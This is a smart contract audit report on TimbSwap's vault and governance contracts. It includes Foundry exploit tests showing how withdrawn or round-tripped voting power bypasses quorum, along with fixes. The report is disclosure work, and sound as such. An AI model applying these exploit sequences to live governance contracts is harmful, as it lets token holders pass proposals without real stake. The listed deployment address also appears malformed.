TimbSwap Security Audit Report

DeFi Exchange, Governance & Vault Security Analysis

Ramprasad Edigi

November 2026

Contents

About Ramprasad **3**

Disclaimer **4**

Scope & Objectives **5**

Objectives: . . . 5

Risk Classification **6**

Executive Summary **7**

Findings Breakdown . . . 7

Detailed Findings **8**

[H-01] TimbReleaseVault: The round oracle is immutable and points at a registry that has no `cumulativeRounds` and is replaced on every migration, so 50M TIMBS remains permanently locked . . . 8

Summary . . . 8

Root Cause . . . 8

Impact . . . 8

Proof of Concept . . . 9

Recommended Remediation . . . 9

[M-01] TimbGovernance: Withdrawn voting power still votes at full weight, escapes the vote lock, and is removed from the quorum base . . . 11

Summary . . . 11

Root Cause . . . 11

Impact . . . 11

Proof of Concept . . . 12

Recommended Remediation . . . 12

[M-02] TimbGovernance: The TS-050 fix is bypassed by a withdraw-and-redeposit round-trip, allowing withdrawn power to leave the quorum base and still vote . . . 13

Summary . . . 13

Root Cause . . . 13

Impact . . . 13

Proof of Concept . . . 14

Recommended Remediation . . . 14

Conclusion **15**

About Ramprasad

Ramprasad Edigi is an independent smart contract security researcher and auditor specializing in EVM and SVM architectures. He has conducted audits across leading DeFi, Cross-Chain, and Governance protocols, uncovering critical vulnerabilities in production systems. He is also a recipient of a $25K grant from the BNB Chain Foundation and serves as an active technical community advocate for Chainlink oracles and agent-safe integrations.

- **Website:** https://www.ramprasadgoud.dev
- **GitHub:** https://github.com/Ramprasad4121
- **Twitter / X:** @0xramprasad

Disclaimer

This security audit does not provide an absolute guarantee of contract security or bug-free operation. The audit was conducted based on the repository source code and specifications provided at the time of review. Smart contracts inherently interface with unpredictable external environments, off-chain dependencies, and evolving threat models.

Scope & Objectives

The primary focus of this audit was the governance mechanism, release vault, and invariant enforcement within the **TimbSwap** protocol (`github.com/0xTimberZx/TimbSwap`).

Target Contract	Target Commit	Source Path	Listed Deployment
`TimbGovernance`	`3e97004` & `699a768`	`contracts/TimbGovernance.sol`	Arbitrum Oral `0x26d1e27132d1d5cdb449d6419`
`TimbReleaseVault`	`062634a`	`contracts/TimbReleaseVault.sol`	Pre-deployment (Mainnet Source)

Objectives:

- Identify logic flaws, economic exploits, and edge cases in proposal creation, voting power accounting, and token release mechanics.
- Verify that quorum calculations and vote locks cannot be bypassed or manipulated.
- Validate oracle integration and migration safety across contract lifecycles.

Risk Classification

Vulnerabilities are evaluated using a severity matrix balancing **Impact** and **Likelihood**, consistent with standard Web3 security bug bounties (Immunefi) and competitive audit standards:

Severity	Description
Critical (C)	Direct theft of user/protocol assets, irreversible protocol bricking, or unauthorized fund drain.
High (H)	Permanent lockup of funds (stuck assets), severe insolvency, or major breakdown of economic guarantees.
Medium (M)	Governance manipulation, quorum bypass, griefing, or significant disruption without direct permanent loss of funds.
Low (L)	Minor discrepancies, gas edge cases, or informational best practice deviations.

Executive Summary

During the security review of the TimbSwap protocol, **3 vulnerabilities** were identified across `TimbGovernance` and `TimbReleaseVault`:

- **0 Critical Severity**
- **1 High Severity (Tier 2)**
- **2 Medium Severity (Tier 3)**
- **0 Low / Informational**

Findings Breakdown

Finding ID	Severity	Contract	Title
[H-01]	**High**	`TimbReleaseVault`	Round oracle is immutable and calls missing selector on an ephemeral registry, permanently locking 50,000,000 TIMBS
[M-01]	**Medium**	`TimbGovernance`	Withdrawn voting power still votes at full weight, escapes vote lock, and ratchets down quorum base
[M-02]	**Medium**	`TimbGovernance`	The TS-050 fix is bypassed by a withdraw-and-redeposit round-trip, allowing withdrawn power to leave quorum base and still vote

Detailed Findings

[H-01] TimbReleaseVault: The round oracle is immutable and points at a registry that has no `cumulativeRounds` and is replaced on every migration, so 50M TIMBS remains permanently locked

- **Severity:** High (Tier 2 — Value Stuck / Unrecoverable Assets)
- **Contract:** `TimbReleaseVault` (`contracts/TimbReleaseVault.sol`)
- **Target Commit:** `062634a`
- **Reporter:** Ramprasad Edigi (Ram)

Summary

`TimbReleaseVault` is designed to hold 50% of the protocol's genesis supply (`50,000,000` TIMBS) and release portions to the treasury at round milestones (1,000, 2,000, 4,000, etc.). The contract is ownerless and possesses no emergency rescue function. The only mechanism to transfer tokens out is `release()`, which invokes `rounds.cumulativeRounds()`.

Two distinct design defects permanently brick this vault: 1. **Missing Interface Implementation:** No `GameRegistry` contract in the codebase implements `cumulativeRounds()`. Any execution of `release()` reverts immediately on an invalid function selector. 2. **Migration Incompatibility:** The protocol's migration framework (`DeployGen3Migration.s.sol`, `DeployBeta.s.sol`) deploys a fresh `GameRegistry` on each generation. Because `rounds` is `immutable`, the vault remains permanently tethered to the retired registry, never observing rounds completed under new registry deployments.

Root Cause

In `TimbReleaseVault.sol`:

```
IRoundOracle public immutable rounds; // set once in constructor, no setter, no owner

function release() external {
    uint256 cum = rounds.cumulativeRounds(); // GameRegistry has no such function
    ...
    require(payout > 0, "nothing matured");
    timbs.safeTransfer(treasury, payout);   // the only exit path for TIMBS
}
```

The release schedule relies entirely on an immutable address pointing to an external contract that does not implement the queried selector and is replaced across protocol iterations.

Impact

- If funded according to the genesis specification, **50,000,000 TIMBS** (half of HARD_CAP) is permanently trapped in the vault with zero recovery mechanism.
- The failure only surfaces at milestone 1,000, long after contract deployment and funding.

Proof of Concept

The following Foundry test against commit `062634a` demonstrates that `release()` reverts perpetually:

```
function test_realRegistryAsOracle_releaseRevertsForever() public {
    GameRegistry reg = new GameRegistry(
        address(timbs),
        address(0x51CC),
        address(0),
        1e18,
        1e17
    );
    TimbReleaseVault v = new TimbReleaseVault(
        timbs,
        treasury,
        IRoundOracle(address(reg)),
        50_000_000e18
    );
    timbs.transfer(address(v), 50_000_000e18);

    vm.warp(block.timestamp + 3650 days);
    vm.expectRevert(); // missing cumulativeRounds() selector
    v.release();
    assertEq(timbs.balanceOf(address(v)), 50_000_000e18);
}

function test_registryMigration_freezesReleaseSchedule() public {
    CountingRegistry oldReg = new CountingRegistry(); // registry with counter
    TimbReleaseVault v = new TimbReleaseVault(timbs, treasury, oldReg, 50_000_000e18);
    timbs.transfer(address(v), 50_000_000e18);
    oldReg.bump(600); // generation N

    CountingRegistry newReg = new CountingRegistry(); // generation N+1
    newReg.bump(600);
    newReg.bump(10_000); // seeded, keeps counting

    vm.expectRevert(bytes("nothing matured"));
    v.release(); // still reads oldReg (stuck at 600)
}
```

Result:

```
[PASS] test_control_counterReachesMilestone_releasesHalf()
[PASS] test_realRegistryAsOracle_releaseRevertsForever()
[PASS] test_registryMigration_freezesReleaseSchedule()
Suite result: ok. 3 passed; 0 failed
```

Recommended Remediation

Decouple the round counting from the ephemeral registry by introducing a permanent `RoundLedger` owned by the timelock:

```
contract RoundLedger is Ownable2Step {
    uint256 public cumulativeRounds;
    address public reporter; // the active registry

    function setReporter(address r) external onlyOwner {
        reporter = r;
```

```
    }

    function recordRound() external {
        require(msg.sender == reporter, "not reporter");
        cumulativeRounds += 1;
    }
}
```

Deploy `TimbReleaseVault` with `rounds = RoundLedger`. During migrations, the timelock simply invokes `setReporter(newRegistry)`.

[M-01] TimbGovernance: Withdrawn voting power still votes at full weight, escapes the vote lock, and is removed from the quorum base

- **Severity:** Medium (Tier 3 — Quorum Bypass & Voting-Power Manipulation)
- **Contract:** `TimbGovernance` (`contracts/TimbGovernance.sol`)
- **Target Commit:** `3e97004`
- **Reporter:** Ramprasad Edigi (Ram)

Summary

Following patch TS-034, `castVote` calculates voting weight using `votingPowerAt(voter, p.createdAt)` (the snapshot at proposal creation). It does not verify that the voting power remains deposited in the contract.

Simultaneously, under patch TS-021, calling `withdrawVotingPower` automatically ratchets down each open proposal's `totalVotingPower` (the quorum denominator) to the live total.

Consequently, a token holder can: 1. Withdraw their full deposit immediately following proposal creation (since no lock exists before voting). 2. Liquidate, transfer, or reuse the underlying tokens elsewhere. 3. Vote later with their full snapshot weight.

The withdrawn power is deducted from the quorum base while simultaneously counted in favor of the proposal numerator. While `votingLockUntil` is applied during `castVote`, it locks a balance that is already zero.

Root Cause

In `TimbGovernance.sol`:

```
// castVote
uint256 power = votingPowerAt(msg.sender, p.createdAt); // snapshot only
if (power == 0) revert InsufficientVotingPower();
...
if (p.executionDeadline > votingLockUntil[msg.sender]) {
    votingLockUntil[msg.sender] = p.executionDeadline;  // locks an empty balance
}

// withdrawVotingPower
uint256 lockedUntil = votingLockUntil[voter];           // 0 prior to voting
...
_sweepOpenProposals(true); // TS-021: base ratchets down to live total
```

Impact

- **Quorum Bypass:** Withdrawn power lowers the required quorum threshold while remaining eligible to vote. Under standard 4% quorum rules, a proposal backed by 3.9% of genesis power successfully passes.
- **Inflated Vote Multipliers:** Exiting whales can vote after withdrawal, resulting in `forVotes` far exceeding 100% of the active `totalVotingPower`.

- **Zero-Stake Governance:** An actor with zero economic exposure can influence or decide proposal outcomes.

Proof of Concept

Foundry test `GovWithdrawThenVote.t.sol`:

```
function test_exploit_withdrawThenVote_passesBelowQuorum_unlocked() public {
    _deposit(honest, 95e18);
    _deposit(attacker, 3.9e18);
    _deposit(address(0xD00D), 1.1e18);
    uint256 pid = gov.createProposal("p", "d"); // base: 100e18, quorum: 4e18

    vm.prank(attacker);
    gov.withdrawVotingPower(3.9e18);            // base ratchets to 96.1e18
    vm.prank(attacker);
    timbs.transfer(buyer, 3.9e18);              // tokens sold on market
    assertEq(gov.votingPowerDeposited(attacker), 0);

    vm.warp(block.timestamp + VOTING_DELAY + 1);
    vm.prank(attacker);
    gov.castVote(pid, true);                    // votes 3.9e18 >= 3.844e18 quorum

    vm.warp(block.timestamp + VOTING_PERIOD + 1);
    gov.executeProposal(pid);                   // Successfully Executed!
}
```

Result:

```
[PASS] test_baseline_keepDeposit_failsQuorum_andIsLocked()
[PASS] test_exploit_exitedPowerOutvotesRemainingHolders()
[PASS] test_exploit_votesExceedBase()
[PASS] test_exploit_withdrawThenVote_passesBelowQuorum_unlocked()
Suite result: ok. 4 passed; 0 failed
```

Recommended Remediation

Enforce that voting weight is bounded by the minimum of the snapshot power and the active deposit:

```
uint256 power = votingPowerAt(msg.sender, p.createdAt);
uint256 held = votingPowerDeposited[msg.sender];
if (held < power) power = held;
if (power == 0) revert InsufficientVotingPower();
```

[M-02] TimbGovernance: The TS-050 fix is bypassed by a withdraw-and-redeposit round-trip, allowing withdrawn power to leave the quorum base and still vote

- **Severity:** Medium (Tier 3 — Quorum Bypass Round-Trip / Fix Review)
- **Contract:** `TimbGovernance` (`contracts/TimbGovernance.sol`)
- **Target Commit:** `699a768` (incorporating TS-050 fix from PR #177)
- **Reporter:** Ramprasad Edigi (Ram)

Summary

The TS-050 patch mitigated the straightforward "withdraw and sell" path by taking `min(votingPowerAt(voter, createdAt), votingPowerDeposited[voter])` at vote time.

However, TS-050 does not account for a **withdraw-and-redeposit round-trip**: 1. After a proposal is created, the attacker executes `withdrawVotingPower(x)`. TS-021 ratchets the proposal's `totalVotingPower` base down by `x`. 2. Within the same transaction block, the attacker calls `depositVotingPower(x)`. The live `totalVotingPower` increases, but the proposal's base never increases by design. 3. When voting, `votingPowerAt(voter, createdAt) == x` and `votingPowerDeposited[voter] == x`, satisfying the TS-050 check and casting `x` votes.

The deposited tokens are out of the denominator and in the numerator, costing only gas, while the attacker retains 100% of their tokens and satisfies all lock requirements.

Root Cause

In `TimbGovernance.sol`:

```
// withdrawVotingPower
votingPowerDeposited[voter] -= amount;
totalVotingPower -= amount;
_checkpoint(voter);
_sweepOpenProposals(true); // proposal base := min(base, live total)

// castVote (TS-050)
uint256 power = votingPowerAt(msg.sender, p.createdAt);
uint256 held = votingPowerDeposited[msg.sender];
if (held < power) power = held; // reads balance NOW, ignoring intermediate withdrawal
```

Impact

- **Quorum Bypass Re-opened:** An attacker can manipulate quorum thresholds without parting with tokens or risking capital.
- **Disproportionate Voting Weight:** Coordinated round-trips can compress the quorum base down to a fraction of actual participation.

Proof of Concept

Foundry test `GovRoundTripBypass.t.sol`:

```
function test_exploit_roundTrip_passesBelowQuorum() public {
    _deposit(honest, 95e18);
    _deposit(attacker, 3.9e18);
    _deposit(passive, 1.1e18);
    uint256 pid = gov.createProposal("p", "d"); // base: 100e18, quorum: 4e18

    vm.warp(block.timestamp + 1 hours);
    vm.startPrank(attacker);
    gov.withdrawVotingPower(3.9e18);            // base ratchets down to 96.1e18
    timbs.approve(address(gov), 3.9e18);
    gov.depositVotingPower(3.9e18);             // balance restored to 3.9e18
    vm.stopPrank();

    vm.warp(block.timestamp + VOTING_DELAY + 1);
    vm.prank(attacker);
    gov.castVote(pid, true);                    // votes 3.9e18 >= 3.844e18

    vm.warp(block.timestamp + VOTING_PERIOD + 1);
    gov.executeProposal(pid);                   // Passed -> Executed
}
```

Result:

```
[PASS] test_baseline_noRoundTrip_failsQuorum()
[PASS] test_exploit_roundTrip_passesBelowQuorum()
[PASS] test_exploit_votesExceedBase()
Suite result: ok. 3 passed; 0 failed
```

Recommended Remediation

Track cumulative withdrawals per open proposal per voter, and deduct them from the voter's snapshot weight:

```
mapping(uint256 => mapping(address => uint256)) public withdrawnDuring;

// In withdrawVotingPower, after _sweepOpenProposals(true):
for (uint256 i = 0; i < _openProposals.length; i++) {
    withdrawnDuring[_openProposals[i]][voter] += amount;
}

// In castVote:
uint256 power = votingPowerAt(msg.sender, p.createdAt);
uint256 gone = withdrawnDuring[proposalId][msg.sender];
power = power > gone ? power - gone : 0;
uint256 held = votingPowerDeposited[msg.sender];
if (held < power) power = held;
```

Conclusion

The findings identified in this review represent critical economic and governance vulnerabilities in the pre-deployment builds of TimbSwap. The remediation recommendations outlined in this report provide robust, minimal-overhead solutions to ensure funds remain retrievable and governance decisions remain cryptoeconomically sound.

Ramprasad Edigi
Smart Contract Security Researcher
https://www.ramprasadgoud.dev